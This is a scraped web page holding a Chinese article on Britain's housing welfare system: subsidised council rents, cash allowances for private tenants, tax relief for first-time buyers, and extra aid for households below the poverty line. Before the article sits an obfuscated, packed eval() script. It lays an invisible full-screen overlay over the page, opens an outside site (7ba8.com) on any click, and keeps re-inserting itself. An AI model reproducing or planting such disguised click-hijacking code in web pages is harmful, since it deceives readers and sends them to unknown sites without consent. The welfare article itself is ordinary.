<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 英国的住房居住方式分为三种类型：一是自住住房，二是租住私房，三是租住政府公房。为保障公民的居住权，政府采用了与居住方式相对应的、分层次的住房福利体系，具体有以下特点：
1、为租用公房居民提供的福利。政府公房的福利性质直接体现在其低廉的租金水平上。对每一套住房，首先由地方政府进行评估，提出“公平”房租价格，实行租房市场供给与需求相平衡状态下的租金。如果“公平”房租价格高于公房的福利性房租，则根据租房者的经济情况，在“公平”房租基础上打一定的折扣。同时制定“标准住房福利”标准，由国家划定一条收入线，收入水平恰好在这条线上的享受一定数额的住房福利;如低于这个标准，则增加相应的住房福利，如高于这个标准，则减少相应的住房福利。对儿童、残疾人，除了这些标准待遇外，还增加了额外福利。通常，公房租户实际房租支出占平均收入的比重不足10%。
2、为租用私房居民提供的福利。对租用私房的居民，“标准住房福利”提供了类似的待遇，由于私房租金不可能有折扣，政府采取了现金津贴的方式。地方政府在对私房租户进行审核后，按照当地公房的“公平租金”以及家庭收入确定津贴数额，用现金的方式提供住房津贴，并直接支付给房东。
3、为自有住房居民提供的政策支持。在限额内抵押贷款且是购买第一套自有住房的居民，减免住房抵押贷款所需支付的税收，税后收入用以支付利息的部分还可以得到税收补贴。对收入较低、年龄较轻的首次购房者及不能得到建筑协会贷款的购房者，采取固定利率的方法，由当地地方政府提供贷款。
4、为贫困家庭追加的住房福利。英国在住房福利中设置了防止人们因住房支出而沦为贫困的机制，规定居民在享受了标准住房福利时，如果扣除自付房租后，其实际收入低于贫困线，可进一步得到住房补助。对于收入已经低于贫困线的家庭，除了提供“标准住房福利”外，还以社会救助方式增加福利。对居住自有房的贫困户，每年提供固定数额的修缮费和保险费，以防止住房质量下降。本文由www.feiydzgw.com发布 |
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